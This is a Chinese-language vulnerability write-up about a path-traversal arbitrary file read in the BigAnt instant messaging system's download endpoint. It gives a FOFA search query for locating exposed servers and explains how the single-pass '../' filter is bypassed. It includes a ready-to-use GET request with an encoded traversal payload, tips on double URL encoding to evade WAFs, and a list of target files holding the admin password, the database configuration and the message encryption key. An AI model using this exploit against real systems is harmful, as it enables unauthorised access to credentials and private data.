漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 PublicController download 接口存在任意文件读取/下载漏洞,攻击者可以通过特殊的参数绕过系统限制,读取系统上任意文件内容,造成敏感内容泄露或为进一步攻击做准备。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
直接看下 Application/Admin/Controller/PublicController.class.php 的实现逻辑

最开始的初始化部分没有权限校验,可以未授权访问。
比如访问 /?m=Admin&c=Public&a=about 获取系统版本信息

可通过访问 /Application/目录下任意php文件,如Common/Conf/config.php 报错获取应安装物理路径

再看 download() 方法的实现逻辑
public function download(){
if(!sp_user_islogin()){
$this->error("user is not login");
}
$file = I('file');
$name = I('name') ;
$file = urldecode($file);
sp_download($file,$name,1) ;
}
先看 sp_user_islogin
function sp_user_islogin(){
return isset($_SESSION['user']) ;
}
因此, 这个接口需要登录后,利用,可配置前面的权限绕过漏洞:大蚂蚁 (BigAnt) 即时通讯系统 loginByToken 逻辑错误至权限绕过漏洞或者弱口令账户、钓鱼cookie等进行组合利用。
再跟进 sp_download方法
/**
* 此函数支持断点续传,但不支持HTTP的下载
* @param string $path
* @param string $name
* @param number $isSelfRoot
*/
function sp_download($path='',$name = '',$isSelfRoot = 1){
// 过滤 ../
$path = str_replace("../", "", $path);
//如果是相对路径,加上本站的地址
if ($isSelfRoot){
$path = $_SERVER ['DOCUMENT_ROOT'] . $path;
//$path = $_SERVER ['HTTP_HOST'] . $path;
}
//取路径的文件名
if ($name == ""){
$info = pathinfo($path);
$name = $info['basename'] ;
}
/** @var \Common\Logic\FileDownloadLogic $FileDownload */
$FileDownload = D("Common/FileDownload",'Logic');
$FileDownload->download($path,$name,true);
}
注意$path = str_replace("../", "", $path);的存在,因此不能进行目录穿越?
nono!因为str_replace 是非递归的,它只替换一遍!我们有两种姿势来绕过:
第一种:直接重复两遍,如/....//install.cmd str_replace替换后就变成了/../ ,从而绕过目录限制。
第二种:如果服务器是 Windows 环境,开发者只过滤了正斜杠 /,而完全忽略了反斜杠 \,使用 \..\ 即可直接绕过。
因此只要有一个普通权限,即可通过上述两种bypass姿势来绕过限制,达到任意文件读取的目的。
漏洞复现
需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式
/Admin/Public/download.html
/Admin/Public/download

GET /?m=Admin&c=Public&a=download&file=%2f%2e%2e%2e%2e%2f%2f%69%6e%73%74%61%6c%6c%2e%63%6d%64&name=README.txt HTTP/1.1
Host: bigant.mrxn.net
Cookie: PHPSESSID=xxxxx

成功读取到web根目录上一级目录下的 install.cmd文件内容。
因为$file = urldecode($file);的存在,我们还可以双重url编码参数file,达到bypass部分垃圾waf.
或者读取其他敏感文件如/Runtime/Data/ms_admin.php 它包含当前系统用户admin的密码


或者 installData.php ,包含系统数据库配置信息


或者 msg_encrypt_key.php 包含消息、文件解密aes密钥


